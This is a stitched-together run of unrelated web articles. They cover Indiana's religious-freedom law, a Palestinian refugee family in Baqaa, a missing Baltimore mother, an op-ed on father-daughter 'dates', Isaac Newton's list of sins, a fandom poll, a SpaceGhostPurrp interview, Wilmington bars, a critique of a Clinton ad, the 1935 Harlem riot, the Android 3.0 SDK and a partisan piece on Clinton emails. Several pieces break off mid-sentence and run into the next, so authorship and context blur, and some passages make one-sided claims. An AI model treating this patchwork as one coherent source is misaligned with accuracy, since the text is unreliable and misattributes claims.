“The rights of LGBT people and their families can co-exist with the rights of people with sincere religious beliefs to practice their faith, as we have seen in Indianapolis for the past decade,” he said.
The religious-objections law that Pence signed in March prohibited any laws that “substantially burden” the ability of a person, association or business to follow religious beliefs. Indiana faced widespread criticism and threats of boycott over the original law that critics said would have shielded those who didn’t want to serve gays and lesbians, such as florists or caterers for a same-sex wedding.
The Republican-dominated Legislature in little more than a week approved revisions preventing the law from being used to override local ordinances with LGBT protections in more than a dozen cities or counties around the state.
This Story Filed UnderNew Year's Eve is the biggest party night of the year. Naturally, there are tons of concerts going on all around the globe. Below, we've rounded up a list of some of your various options, from Nicki Minaj and Meek Mill in Las Vegas to the Promise Ring reunion in Chicago, and from Future in New York to Mötley Crüe (allegedly playing their final show) or |
supported the family by selling crochet and knitting to people in Ramallah.” In 1967 the Israelis again declared war on the Palestinians, forcing a second wave of expulsions. “Again we were refugees, left with nothing.”
Exhausted, after days of walking, they arrived in Baqaa on the Jordanian East Bank; home was to be a canvas tent, allocated to the family by the United Nations.
“By 1972, most tents had been replaced by steel shelters, but we were not left in peace to rebuild our lives, Israelis continued fighting Palestinians. In September of that year Israel again attacked us, this time dropping bombs from aircraft onto Baqaa, killing thousands and destroying the camp.”
Heart-breaking tragedy
Abdullah’s mother survived; she is now 63 and lives with him, his wife, their four daughters and three sons.
Just two weeks before I met Abdullah and his mother Ayishah, Abdullah’s five-year-old daughter had died of cholera. Fighting tears, Abdullah told me, “Cholera is very common in all the refugee camps, caused by sewage in the streets when we have heavy rain.”
As a Palestinian refugee arriving in Jordan after 1967, Abdullah has no nationality and can only find simple work outside the camp, for which police approval is needed. “Palestinians, even those with Jordanian nationality, have differently-colored identity cards; we face discrimination everywhere in our lives. Once a refugee, always a refugee.”
Abdullah now works for an imam in a mosque. “I earn very little money, but it is better than nothing and reduces my dependence upon charity.”
The edge of Baqaa to the roundabout of the main Damascus-Amman highway is fewer than 20 meters. Few people know what lies behind the tatty shops, workshops and second hand tire stands fronting the road. Not many from Amman turn into the camp, unless they want to buy vegetables from the market stalls at a fraction of the price they would pay in supermarkets.
Our car turns onto the highway, in less than five minutes we are in Amman, driving past the highly respected Queen Rania Hospital for Children and the upmarket City Mall. Baqaa is just far enough outside Amman to be forgotten. The world may look away but the forgotten people of Palestine will still be there.
John Ridley has lived and worked in the Middle East for more than thirty years. Based in Bahrain and Beirut, he can be contacted at john A T johnridley D O T nu.
Note: This article was amended to correct language which suggested UNRWA runs Baqaa refugee camp. UNRWA does not run refugee camps, but provides services to refugees living in the camps.Akia Eggleston was 35 weeks into a high-risk pregnancy when she didn’t show up for her baby shower. Six months later, and there’s no sign of the young Maryland mother–leading authorities to believe that something sinister is at play.
Eggleston, 23, was last seen on May 3 outside her home in Baltimore. It wasn’t until May 7 that her family contacted police as she failed to show up for her own baby shower.
Details about Eggleston’s disappearance remain scarce. What is known is how relatives found Eggleston’s residence and how it didn’t alarm investigators at first.
“The only thing left in her apartment was her bed and a couple of dressers. It looked like she had moved out but we know she couldn’t move anything because of her high-risk pregnancy. She could barely walk,” the 22-year-old’s stepfather, Shawn Wilkinson, 40, told NewsOne in June.
“It makes no sense.”
Wilkinson said that Baltimore police ruled out family members as suspects. He also claimed that the expectant mother was on bed rest and would deliver her baby via a cesarian.
Fast forward a few weeks and police are now open to the possibility that Eggleston–a mother to a 3-year-old girl–didn’t leave on her own accord.
“At this state, I think we’re prepared to pivot, that foul play is something that we’re absolutely exploring,” Baltimore police spokesman T.J. Smith said during a news conference in late July. “We’re obviously beyond the point where she could have given birth.”
And it appears that authorities have reached a dead end. In early November, the FBI announced a $25,000 reward for information about the pregnant woman’s whereabouts. At the time, officials revealed that there has been no activity on her social media or bank accounts. They also claimed that she hasn’t admitted herself to any hospitals.
“We have exhausted every investigative means,” Baltimore police Chief Stanley Brandford said at the time.
However, Baltimore police confirmed the existence of surveillance footage that showed Eggleston on the day of her disappearance. Authorities claimed that a family friend took her to multiple banks on May 7 to withdraw money.
“The bank surveillance shows us at the bank by herself. She doesn’t look disheveled, she doesn’t look like she’s under any kind of stress, she’s there on her own,” Detective Michael Reno told Crime Watch Daily. “She presents a cashier’s check to the teller, she receives cash, and she leaves.”
What was the money for? Detective Reno said the expectant mother pulled out “a lot” of money because she was planning to buy a house with the baby’s father. He also claimed police uncovered text messages between Eggleston and her roommate that indicated that she was moving out to live with him. His explanation might explain why police didn’t suspect foul play upon seeing the cleaned-out Baltimore apartment.
Detective Reno went on to say that the family friend was never considered a person of interest and that she’s been cooperative throughout their investigation.
“She was duped. Or she started a new life somewhere with a new name,” he said of Eggleston.
“Anything’s possible.”
Loved ones are holding out hope that they’ll hear from Eggleston‒and her infant child. But with no crime scene or sign of the mother, they are desperate for someone to step forward with any information that could crack this case wide open.
Her stepfather told WBAL in November, “Akia has a young 3-year-old toddler that is asking for her on a daily basis, and we have no real answers to give her.”
Eggleston is described as being 4 foot 8 inches tall, weighing 145 pounds, and having black hair and brown eyes.
This is an ongoing investigation. Anyone with information about Akia Shawnta Eggleston’s whereabouts is urged to contact the FBI’s Baltimore Field Office at 410-265-8080 or the Baltimore City Police Department at 410-396-2499.
[Featured Image: Akia Eggleston/FBI]If you thought the story of a dad who takes his little girl out on a monthly ‘date’ is cute, then I’ve got news for you.
It’s not. It’s creepy. And what’s more, it’s symptomatic of the poisonous ways that we treat male parenting.
In case you missed it, mum Caitlin Fladager posted a Facebook status about her husband taking their daughter on ‘dates’, writing:
My husband decided once a month he will take our little girl out on a “date” where she gets all dressed up and gets taken out for cake and ice cream. Tonight was there first night doing it. He helped her pick out a dress for her to wear, got a little purse ready for her, held the door open for her, and made her feel like a princess. She loved it was so happy when she got home. She will always know how she deserves to be treated because her dad sets such a high example.
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I’d like to take this moment to remind everyone that being treated ‘like a princess’ would actually involve being married off at the age of 12 to a man you’ve never met to secure a political alliance.
Also, if you want to raise a woman who has a healthy attitude towards men, giving her one afternoon a month where she has to look pretty before she’s given treats? Not the way to do it.
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But there’s a bigger issue at play here than playing fast and loose with the concept of ‘dating’ and that’s the people who are queuing up to congratulate a man for spending some time with his kid. Think about that.
Holding hands (Picture: Getty Images)
Do we see mothers getting 89 thousand Facebook likes for mopping up sick and doing the school run?
Of course not.
What do we go nuts for fathers spending time with their kids? Why do we call it ‘babysitting’ when a dad is active in childcare? Why are we surprised that the person who helped create the child then deigns to spend time with it?
Taking your kid out for cake and ice cream in a cute outfit is the easy bit. The fun bit. It’s what you imagine parenting will be like.
How many mums would be delighted to have the opportunity for that kind of time with her child. Trying to wrestle a screaming toddler into a trolly so you can get a supermarket shop done before starting the school run? That’s hard.
Dad and daughter time should be seen as standard. (Picture: Getty)
But it’s not just women who suffer from the idea of men ‘babysitting’ or taking their kids on ‘dates’ – it’s men too. The idea that a dad is a secondary parent, that their contributions are sporadic treats rather than a constant influence?
It’s demeaning, and it’s probably why only 14% of men are the full time childcare provider and only 11% take shared parental leave.
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This attitude towards dads is all part of a culture which sees men stuck in a rut of pseudo masculinity. Just last year research was released which discovered that men would rather be unemployed than do ‘pink collar’ or ‘women’s’ work.
Going to the park with your kid is not curing cancer. (Picture: Liberty Antonia Sadler for Metro.co.uk)
Jobs like caring, waitressing and nursing are being dismissed out of hand by men because of the way that we pigeon hole them, and praising a man for taking his daughter out for the afternoon is part of that.
What I Rent: Charlotte and Chloe, £648 each for a one-bedroom flat in Arnos Grove
It makes father daughter time into a rarity, it reduces a man to nothing more than a babysitter, it sends the message that by hanging out with his child a man is doing something noteworthy or even strange.
So by all means, spend some quality time with your children. But don’t use the language of an adult sexual relationship to describe it, and let’s stop handing out gold stars to any man who wants to spend some time with his kid.
MORE: You can now ‘order a daddy’ using this sperm donor app and even pick and choose what race and eye colour you want
MORE: Apparently chocolate might be better for treating coughs than honey and lemon
Advertisement AdvertisementThe sins of Isaac Newton
I recently read Thomas Levenson’s Newton and the Counterfeiter. It wasn’t the most fast-paced book, and the message that got across to me most clearly was that 17th century London was a terrible, terrible place (apparently 2 in 3 children died before age 5). But it still had some pretty good stories about Isaac Newton.
As a young man, Newton was apparently best described as eccentric and relentlessly curious. The book recounts some of his many experiments, most of which are pretty cool and a couple of which are a little alarming. Like the time he inserted a bodkin (a long, flat needle) behind his eye and observed what effect the distortion of his eyeball shape had on his vision. (You can read the description for yourself on the right. Apparently sticking a needle behind your eye causes you to see colored circles.)
For me, though, the absolute highlight of the book was the “debtor’s ledger of sins” that Isaac Newton meticulously maintained during his college years. Newton was apparently a very god-fearing man — at least he spent a lot of time thinking and worrying about god — and as a young man he felt the need to catalog his sins as a form of penitence.
It feels a little like voyeurism, but this list is too great not to share. Here is part of it, as presented in Newton and the Counterfeiter, in Isaac Newton’s own words:
The young Isaac Newton’s “debtor’s ledger of sins”:
Stealing cherry cobs from Eduard Storer
Denying that I did so
Robbing my mothers box of plums and sugar
Calling Derothy Rose a jade
Punching my sister
Striking many
Wishing death and hoping it to some
Threating my father and mother Smith to burne them and the house over them
Striving to cheat with a brass halfe crowne
Making pies on Sunday night
Squirting water on Thy day
Not turning nearer to Thee according to my belief
Setting my heart on money learning pleasures more than Thee
having uncleane thoughts words and actions and dreamses
UPDATE: A more complete list has been compiled by The Newton Project, here.All of the voting and all of the rallying of BattleShips reaches it’s conclusion today as we begin the 60 hour voting period for the championship round. Who will be named reigning Ship? Will it be Kurt & Blaine or Rose & The Doctor? You decide!
We started BattleShips on October 9th, nearly two months later it’s finally drawing to a close. We’ve seen ships sink and float all the way to the finals, and shipping communities have come out to show their support for their OTPs in hopes that their ship will be named Hypable’s Reigning Ship.
We started with 16 fandoms, and now you can take a look at how all the votes turned out and see just how close some of these battles were in our infographic below. The poll for the final battle is directly under, so don’t forget to vote for your favorite! And be sure to check out the column What I Learned from BattleShips for a recap of it voiced by the host, Tariq Herzallah.
UPDATE: See the BattleShip winner at the end of this article!
Voting has ended and the winner is… Klaine from Glee!
Kurt and Blaine received 21,157 votes, while Rose and The 10th Doctor received 21,136 votes.
Article Continues Below
Thank you to EVERYONE who participated in Hypable’s first ever BattleShips tournament. Because of its wild success, we have several ideas for future BattleShip tournaments and will be hosting those in the future. In the mean time, we hope you continue to use Hypable for all your fandom needs.Much of the world let out a collective “who?” when A$AP Rocky’s beyond-hyped LiveLoveASAP mixtape revealed multiple credits from SpaceGhostPurrp, both on the mic and behind the boards. But really, they were just catching up to folks already in the know.
SpaceGhost had previously released a flurry of lo-fi homemade mixtapes online, finding fans in high places, including Juicy J of Three-6 Mafia, Odd Future and Kreayshawn. And now he’s ready to cash in on his cosigns with his studio debut, Mysterious Phonk: The Chronicles of SpaceGhostPurrp, which dropped last week via indie label 4AD.
But the album — comprised of higher-fi remakes of Space’s past material — is a departure from the purposefully distorted, unmixed music that he blew up off of.
“It’s basically all of the old s--t I made in the past for all my fans who wanted to hear my old music remastered,” the 21-year-old Miami native tells BET.com. “So I told them to vote and tell me their favorite songs that they wanted to be re-mastered, and I mastered it. That’s what it’s all about: high quality.”
The new approach should open up SpaceGhost’s quirky, murky, mysterious music, which draws heavily from ’90s rap, to new audiences. “My sound is the dark Miami sound,” SPG says. “Growing up I was listening to Three Six Mafia, N.W.A, all the West Coast folk, Down South folk, East Coast folk back in the ’90s — it elevated my whole craft.”
With these influences, it only makes sense that SPG linked up with A$AP, who doesn’t hide his love for Bone Thugs, Three-6 and other golden-era icons. “Me and Rocky linked up after he dropped ‘Purple Swag,’” he says. “It was like regular neighborhood s--t when you're in the studio with your n---as and y’all just all on the same vibe. Then we started doing shows and s--t just took off. People are big fans of us as a duo. He changed the game.”
Space also credits Odd Future, another crew of ’90s babies who channel the music of their infancy, as key early boosters of his music — and planned future collaborators. “Odd Future use to play my music at their tours and stuff,” he says. “Me and OF got love for each other, and we’re about to do some s--- soon. We’re not going to tell anybody when we’re going to drop it, but we’ll surprise people. I know people aren’t expecting it, but we’re going to kill them with it.”
The big plans, big moves and big records are a strange, new look for a rapper whose obscure pop-culture and religious references, muddy sound quality and horror-core influences made him an unlikely candidate for mainstream fame. But Space has never seen himself as just another kid with a microphone and a Twitter account. “I’m not a rapper who just comes out and makes one song and raps about the same s---,” he says. “I don’t want to be the best lyricist or none of that s—t, I’m a real artist.”
BET.com is your #1 source for Black celebrity news, photos, exclusive videos and all the latest in the world of hip hop and R&B music.
Click here to subscribe to our newsletter.Just in case you needed a reminder how comparatively shitty you are at whatever it is you do for a living, Demetrious Johnson fought last weekend. Johnson, the UFC’s inimitable flyweight champion, painted what might end up being considered his career masterpiece in a defeat of Wilson Reis at UFC on FOX 24. It’s kind of humbling to watch the dude do it, really. Johnson is so far ahead of his competition, it’s as if he’s been sent here from the future to teach the world a new brand of fighting. If that’s the plan, though, it still needs some work, seeing as how the world somehow still doesn’t really like to watch Johnson fight. In any case, Ben and Chad talk about all things Mighty Mouse. They also discuss Robert Whittaker’s reluctance to embrace the “Bobby Knuckles” nickname and Rose Namajunas teeing up another title shot.
All that, plus AYFKM and Just Sayin’ Stuff.
Direct downloaders can take their infant sons in to get circumcised right here.Buy Photo Joe Hizzel mixes a smoky manhattan at the bar at the Eighth & Union Kitchen on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)Buy Photo
Don’t look now, but Trolley Square is starting to face a little competition as Wilmington’s biggest bar district.
The city’s Little Italy has been adding trendy taverns and restaurants in recent years, giving the neighborhood more bar tops in a five-block stretch of North Union Street than even downtown’s Market Street.
In November, NorthQuarter Creole (837 N. Union St.) opened, giving bar-hoppers yet another stop among the cluster of Little Italy restaurants and bars that include newer spots 8th and Union Kitchen (805 N. Union St.), Rocco Italian Grill & Sports Bar (701 N. Union St.), Bella Luna Ristorante (729 N. Union St.) and The Wicked Vine (1934 W. 6th St.).
The longtime neighborhood watering hole Dead Presidents (618 N. Union St.) and veteran LGBT-friendly Crimson Moon Tavern (1909 W. Sixth St.) are also located in the same tightly packed area.
And while the youth-driven Trolley Square isn’t about to give up its title as the city’s busiest bar area, Little Italy’s restaurant row across five city blocks is emerging as a playground for a slightly older crowd generally ranging from late-20s to 40s.
Buy Photo Patrons hang out at the bar at Dead Presidents on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
Could Little Italy be in the midst of a reawakening? It sure looks like it. Book-ended by major redevelopment efforts on each end of North Union Street, the neighborhood seems poised for a revival.
“Little Italy holds its own now, but it can be real serious in a couple of years,” says Mike Goodwin, co-owner and chef at the new NorthQuarter Creole, the latest restaurateur drawn to the neighborhood.
While you can grab a meal at any of the bars in the concentrated area on Union Street between Fifth and Ninth streets, the same swath boasts venerable restaurants like Mrs. Robino’s Italian Restaurant (520 N. Union St.) and Walters Steakhouse (802 N. Union St.), along with takeout joints like El Toro (624 N. Union St.), China King (608 N. Union St.), Yatz Subs & Steaks (626 N. Union St.) and the legendary first-ever Capriotti’s Sandwich Shop location (510 N Union St.).
And if you cast your culinary net just a little wider, the immediate area also boasts more sophisticated dining rooms like Eclipse Bistro (1020 N. Union St.) and Bistro Jacques (607 N. Lincoln St.).
Throw in the long-term $100 million rebuilding of The Flats nearby by Woodlawn Trustees and the just-announced $40 million plan to demolish and replace the Galleria Shoppes at North Union Street and Pennsylvania Avenue with luxury apartments and shops, there’s a reason why it seems that the way is up for Little Italy.
Buy Photo NorthQuarter Creole on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
Paul Calistro, executive director of the West End Neighborhood House, has been based in the neighborhood for 25 years and also works with West Side Grows Together, the area’s non-profit neighborhood group.
When he looks around the area these days, he can’t help to be buoyed by promise.
“In what other neighborhood do you see $140 million worth of investment going on? And I think it will keep growing because it’s a high traffic area, an area with mixed incomes and it’s contiguous with several other neighborhoods,” Calistro says before giving a jocular poke to the city’s biggest bar district. “Trolley Square is for the kids who just got out of college. It’s for rutting season. This is where adults come."
In the seven years since he bought Dead Presidents, owner Brian Raughley has seen plenty of change as several struggling restaurants in the area were sold and now house new dining rooms with both buzz and returning customers.
In recent years, Raughley and others have pushed for “big picture” beautification along the wide, three-lane North Union Street. Making the area safer and more pedestrian-friendly by slowing down traffic along with ornamental changes would make the neighborhood more inviting, he says.
Buy Photo Jameson bottles act as light fixtures in the upstairs bar at NorthQuarter Creole on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
Dead Presidents has teamed up with the University of Delaware and West Side Grow’s “Build a Better Block” project in recent summers to show the effect small changes can make. Building off a nationwide program, the three-day summer projects included closing a lane on North Union Street for a block in front of Dead Presidents, allowing for sidewalk and in-the-street dining and a temporary bike lane.
“I don’t think there is any doubt that Union Street is going in the right direction,” Raughley says. “There’s a lot of crossover business now, like when people who have dinner down at 8th and Union and then stop over here for a drink. The area is a destination. Not just one or two spots."
Three blocks down the road, NorthQuarter Creole opened this fall at the former home of Pan Thai and more recently, Latin Fusion Restaurant & Lounge. With the closure of the New Orleans-themed Blue Parrot Bar & Grille (now The Wicked Vine), NorthQuarter is bringing New Orleans creole back to Little Italy.
At Little Italy's newest restaurant, there’s a proper dining room downstairs serving everything from small plates of seafood gumbo ($7) and barbecue brisket quesadilla ($9) to sandwiches like muffulettas and shrimp po boys, both $11. Entrees range from macaroni and cheese skillets with your choice of crab, jambalaya or crawfish ($12) to a crawfish étouffée ($17).
Live music is also sometimes on the menu downstairs, which seats 60. The restaurant is now occasionally hosting shows, including Wilmington “cowpunkabilly” band Bourbon and Steel, which played there last month.
Buy Photo Erin Duckes (left), Emily Riley (center) and Alex Chameney (right) hang out at the bar at the Eighth & Union Kitchen on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
NorthQuarter Creole is having its official grand opening party on Saturday night with Kris V. and Richie D. performing acoustic from 9 p.m. until close. The show will be preceded by a free buffet from 7 p.m. until the music starts.
The 45-seat upstairs is where you will find the bar, complete with high top tables and a booth with four 50-inch TVs for sports.
Goodwin and co-owner Brady Harris were looking closely at the location and say the redevelopment of The Flats put them over the edge, deciding to open on Union Street with the belief that it’s on an upswing.
“That’s when we really became intrigued,” Goodwin says before Harris adds, “There’s just a lot of money coming back to this area of the city.”
Brian Ashby, owner of 8th and Union Kitchen, a gastropub with Southeast Asian flair that opened in April, has seen his business only grow in its first nine months.
Buy Photo Patrons hang out in the upstairs bar at NorthQuarter Creole on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
Inside, it’s hard to believe 8th and Union Kitchen is the former home of the more traditional Union City Grille. The expanded bar has been moved across to the other side of the restaurant and is surrounded with reclaimed wood giving it a barnwood style. The decor is accented with black and white subway tiles and a communal table made of a 10-foot hunk of hickory.
The bottom line is this: if you blindfolded a longtime Little Italy visitor and threw them at 8th and Union's bar, they would most likely think they are in a big city contemporary restaurant in Philadelphia or Los Angeles.
In short, he built it and they are starting to come not only to his restaurant, but all the others.
“It’s not in the front of everyone’s mind to think about Little Italy for good food and drink,” Ashby says. “Trying to get somebody out of Trolley Square where they can just walk if they live in the area is a bit of a battle, but we're doing well.”
Buy Photo Veronica and Oliver Durham sit in a booth at Dead Presidents on Wednesday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL)
IF YOU GO
What: NorthQuarter Creole grand opening
When: Saturday, 7 p.m.
Details: A free buffet will offered from 7 to 9 p.m. with acoustic music by Kris V. and Richie D. from 9 p.m. to close.
Where: NorthQuarter Creole, 837 N. Union St., Wilmington
Information: northquartercreole.com
Contact Ryan Cormier of The News Journal at rcormier@delawareonline.com or (302) 324-2863. Follow him on Facebook (@ryancormier), Twitter (@ryancormier) and Instagram (@ryancormier).
Read or Share this story: http://delonline.us/1SNbe7VA new attack ad put out by the Hillary Clinton campaign this week achieves the near-impossible, making Donald Trump look wronged and (almost) like a victim. More believably, it makes the Democrats look sleazy and disingenuous in comparison.
The ad begins with a picture of a grinning Trump and the words, "In 2006, Donald Trump was hoping for a real estate crash."
It proceeds to a series of grim scenes from the financial crisis. Against a Roger and Me-esque montage of blighted neighborhoods, it reads off stats: "9 million Americans lost their jobs. 5 million people lost their homes."
Then it returns to a grinning Trump, and another line:
"And the man who could be our next president…
was rooting for it to happen."
Then we hear Trump talking about how a bursting of the real-estate bubble would be an opportunity for rich folks like himself.
"I sort of hope that happens, because then people like me would go in and buy," Trump says, in an interview from 2006. "If there is a bubble burst, as they call it, you know, you could make a lot of money."
Cut to: "If Donald wins, you lose."
This ad is disingenuous in a dozen different ways. For one thing, the destruction that the Clinton campaign describes was not caused by people swooping in after the bubble burst, buying at the bottom of the market.
It was caused by the existence of a speculative bubble in the first place. And that bubble was inflated not by Donald Trump, but by the people who have at least in part bankrolled Hillary Clinton's career: namely, Wall Street banks.
In the mid-2000s, a speculative mania swallowed up the real-estate markets largely because Wall Street discovered a new (and often criminally fraudulent) way to peddle mortgage securities.
The basic trick involved big banks buying up the risky home loans of subprime borrowers — the loans of people who often lacked verified incomes and had poor credit histories — and repackaging them as highly rated mortgage securities.
Basically they took risky loans and presented them as somewhat safer investments to a range of investors, all of whom later got clobbered: pension funds, hedge funds, unions, even Fannie Mae and Freddie Mac.
This technique, of turning rancid home loans into a kind of financial hamburger and then selling it off as grade-A beef to institutional investors, created artificial demand in the real-estate markets, which in turn led to the speculative mania.
The bubble stayed inflated for a few years because a continual influx of new investors kept the old investors from losing their shirts for a while. The layman's term for this is a Ponzi scheme.
So when Donald Trump in 2006 says, "If there is a bubble burst, you could make a lot of money," he might sound crass, but he wasn't wrong. That bubble was always going to burst. Those investors who got creamed were always going to get creamed.
And the fault was with the people who drove this speculative craze by knowingly peddling bad merchandise and continually driving the markets upward. Think, for example, of Citigroup, which was selling huge masses of mortgage securities even as its traders were saying things to each other like, "We should start praying… I would not be surprised if half of these loans went down."
We know the names of many of these companies because many of them have agreed to pay huge settlements for their involvement in selling mismarked mortgage securities.
Four of them — the aforementioned Citigroup, along with Goldman Sachs, Morgan Stanley, and JP Morgan Chase — are among Hillary Clinton's top six contributors for her career.
The new Clinton ad references people in foreclosure — it even shows a big, scary foreclosure sign. Many of the same banks also agreed to massive settlements for, among other things, using fraudulent documents to kick people out of their houses. Major Clinton donors Citigroup and JP Morgan Chase were signatories to the original $25 billion foreclosure settlement, for instance.
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As for the whole issue of "rooting" for a crash so as to make money off the misery of others, what Donald Trump was talking about — and it's galling to the point of being physically painful to have to defend him here — may sound scummy, but was neither illegal nor even unethical, unless you want to call this kind of capitalism unethical (which some might).
Trump wasn't rooting for an avoidable disaster, like a 9/11. With this bubble, the disaster had already happened. The properties were already overvalued. Trump or not, that pain was coming.
Taking advantage of market inefficiencies is what investors are supposed to do, a la the traders in The Big Short who spotted the corruption in the real-estate markets early and bet accordingly. Personally I doubt Trump was smart enough to bet so much as a penny out of his alleged billions on the market collapsing, but if he did, it wouldn't have been unethical, just cold.
The same can't be said for Goldman Sachs, the company famous for paying Hillary Clinton $675,000 for three speeches.
In the spring of 2011, the Senate Permanent Subcommittee on Investigations, led by Michigan's Carl Levin, released a giant report about the way Goldman profited from the crash by shorting the market even as it was advising clients in the opposite direction.
This report detailed how in 2006, the same year that Donald Trump was talking out loud about the bubble bursting, Goldman found itself stuck with what amounted to a $6 billion bet on the housing market.
But at the end of the year the firm analyzed its position, saw the coming trouble, and realized it needed a change in strategy. Goldman's leaders, including CEO Lloyd Blankfein (seen here warmly embracing Hillary Clinton) and CFO David Viniar, decided that they needed to unload as many of their mortgage holdings as possible.
One particular quote the Senate investigators dug up stands out. In late December of 2006, Viniar wrote an email to his chief mortgage officer (emphasis mine):
"Let's be aggressive distributing things," he said, "because there will be very good opportunities as the markets [go] into what is likely to be even greater distress, and we want to be in a position to take advantage of them."
This, coming from the chief financial officer of a firm that has been among Hillary Clinton's top donors, is exactly what Donald Trump said.
The difference was, Donald Trump was just talking about making money for himself. Goldman executives were talking about making money at their own clients' expense.
Two months after that Viniar memo, in February of 2007, Blankfein wrote an email of his own.
"Could/should we have cleaned up these books before," Blankfein wrote, "and are we doing enough right now to sell off cats and dogs in other books throughout the division?"
By "cats and dogs," Blankfein meant the toxic mortgage holdings he wanted off his company's books. How did they get rid of them? They sold them off to customers.
In one particular deal, called Hudson, Goldman unloaded $1.2 billion worth of "cats and dogs." They neglected to tell the client that these came from their own inventory, saying instead that the holdings were "sourced from the street."
By the spring of 2007, Goldman executives were in a panic about the likely meltdown of the real-estate markets. In May, a senior exec gave a presentation saying, "There is real meltdown potential."
The execs scanned the earth for suckers willing to buy up their doomed products. They found a hedge fund in Australia willing to buy a $100 million mortgage-based deal called Timberwolf, promising returns as high as 60 percent while privately laughing about finding the ultimate sucker.
"I found a white elephant, flying pig and unicorn all at once," clucked one of the bank's sales reps. A few days later, after the deal was off their books, another Goldman exec famously trumpeted, "Boy, that Timberwolf was one shitty deal."
I spent most of the last eight years poring through disgusting stories like this, reporting on the dreary question of what caused the 2008 crash. All of that work was done before Hillary Clinton announced she would run for president. This isn't about Hillary Clinton for me. It's about the continuing influence of these companies.
These firms have mostly avoided blame for the crisis, partly because this subject is complicated, but also because mainstream politicians from both parties have refused to point a finger at them. For that, Hillary Clinton probably is at fault now, contributing to a failure among major-party politicians to be straight with the public that dates back to the first days of the crisis.
It's bad strategy. Trump is a lunatic, but he's gaining strength because his supporters believe his story about being so rich that he's free to tell it like it is. They equally believe his windy diatribes about Beltway pols like Jeb Bush and Hillary being compromised by the great gobs of money they take from corporate donors.
By blaming Trump for a problem caused by their own political patrons, Hillary and the Democrats are walking face-first into Trump's rhetorical buzz-saw. Couldn't they find something else to hit him with?This article is about the Harlem riot of 1935. For other incidents in Harlem, see Harlem riot
Harlem riot of 1935 Date March 19, 1935 Location Harlem, New York City, New York Caused by False reports of a black teen being beaten by a store owner Parties to the civil conflict Black rioters New York Police Department Casualties Death(s) 3 Injuries Hundreds
The Harlem riot of 1935 took place on March 19, 1935 during the Great Depression, in New York City, New York, in the United States. It has been described as the first "modern" race riot in Harlem, because it was committed primarily against property rather than persons. Harlem is a northern neighborhood on Manhattan Island in New York City whose population at the time was predominately African American.
The rioting was sparked by rumors that a black Puerto Rican teenage shoplifter was beaten by employees at an S. H. Kress "five and dime" store. That evening a demonstration was held outside the store and, after someone threw a rock through the window, more general destruction of the store and other white-owned properties ensued. Three people died, hundreds were wounded, and an estimated $2 million in damages was caused to properties throughout the district. African American-owned homes and businesses were spared the worst of the destruction.[1]
Background [ edit ]
During the Great Depression, minorities in Harlem and elsewhere in New York |
dismissed the investigation as an excuse by Democrats for losing the presidential race.Android 3.0 (Honeycomb) is a new version of the Android platform that is designed from the ground up for devices with larger screen sizes, particularly tablets. It introduces a new “holographic” UI theme and an interaction model that builds on the things people love about Android — multitasking, notifications, widgets, and others — and adds many new features as well.
Besides the user-facing features it offers, Android 3.0 is also specifically designed to give developers the tools and capabilities they need to create great applications for tablets and similar devices, together with the flexibility to adapt existing apps to the new UI while maintaining compatibility with earlier platform versions and other form-factors.
Today, we are releasing a preview of the Android 3.0 SDK, with non-final APIs and system image, to allow developers to start testing their existing applications on the tablet form-factor and begin getting familiar with the new UI patterns, APIs, and capabilties that will be available in Android 3.0.
Here are some of the highlights:
UI framework for creating great apps for larger screen devices: Developers can use a new UI components, new themes, richer widgets and notifications, drag and drop, and other new features to create rich and engaging apps for users on larger screen devices. High-performance 2D and 3D graphics: A new property-based animation framework lets developers add great visual effects to their apps. A built-in GL renderer lets developers request hardware-acceleration of common 2D rendering operations in their apps, across the entire app or only in specific activities or views. For adding rich 3D scenes, developers take advantage of a new 3D graphics engine called Renderscript. Support for multicore processor architectures: Android 3.0 is optimized to run on either single- or dual-core processors, so that applications run with the best possible performance. Rich multimedia: New multimedia features such as HTTP Live streaming support, a pluggable DRM framework, and easy media file transfer through MTP/PTP, give developers new ways to bring rich content to users. New types of connectivity: New APIs for Bluetooth A2DP and HSP let applications offer audio streaming and headset control. Support for Bluetooth insecure socket connection lets applications connect to simple devices that may not have a user interface. Enhancements for enterprise: New administrative policies, such as for encrypted storage and password expiration, help enterprise administrators manage devices more effectively.
For an complete overview of the new user and developer features, see the Android 3.0 Platform Highlights.
Additionally, we are releasing updates to our SDK Tools (r9), NDK (r5b), and ADT Plugin for Eclipse (9.0.0). Key features include:
UI Builder improvements in the ADT Plugin: Improved drag-and-drop in the editor, with better support for included layouts. In-editor preview of objects animated with the new animation framework. Visualization of UI based on any version of the platform. independent of project target. Improved rendering, with better support for custom views.
To find out how to get started developing or testing applications using the Android 3.0 Preview SDK, see the Preview SDK Introduction. Details about the changes in the latest versions of the tools are available on the SDK Tools, the ADT Plugin, and NDK pages on the site.
Note that applications developed with the Android 3.0 Platform Preview cannot be published on Android Market. We’ll be releasing a final SDK in the weeks ahead that you can use to build and publish applications for Android 3.0.The Democrat Party and the media is working double-time to keep all eyes on the Paris Climate Accord, which President Trump exited the U.S. from, so that Americans won’t see this new batch of Clinton emails proving that she committed an indictable offense.
Judicial Watch reports:
On Thursday, 2,078 pages of documents were released, revealing more instances of former Secretary of State Hillary Clinton sending and receiving classified information via an unsecured email server. They also show Clinton’s daughter Chelsea and others involved with the Clinton Foundation receiving special favors from Huma Abedin, the former secretary’s deputy chief of staff.
The records were obtained in response to a court order from a May 5, 2015, lawsuit filed against the State Department (Judicial Watch, Inc. v. U.S. Department of State (No. 1:15-cv-00684)) after it failed to respond to a March 18, 2015, Freedom of Information Act (FOIA) request seeking: “All emails of official State Department business received or sent by former Deputy Chief of Staff Huma Abedin from January 1, 2009 through February 1, 2013 using a non-‘state.gov’ email address.”
The new documents included 115 Clinton email exchanges not previously turned over to the State Department, bringing the known total to date to at least 432 emails that were not part of the 55,000 pages of emails that Clinton turned over to the State Department. These records further appear to contradict statements by Clinton that, “as far as she knew,” all of her government emails were turned over to the State Department.
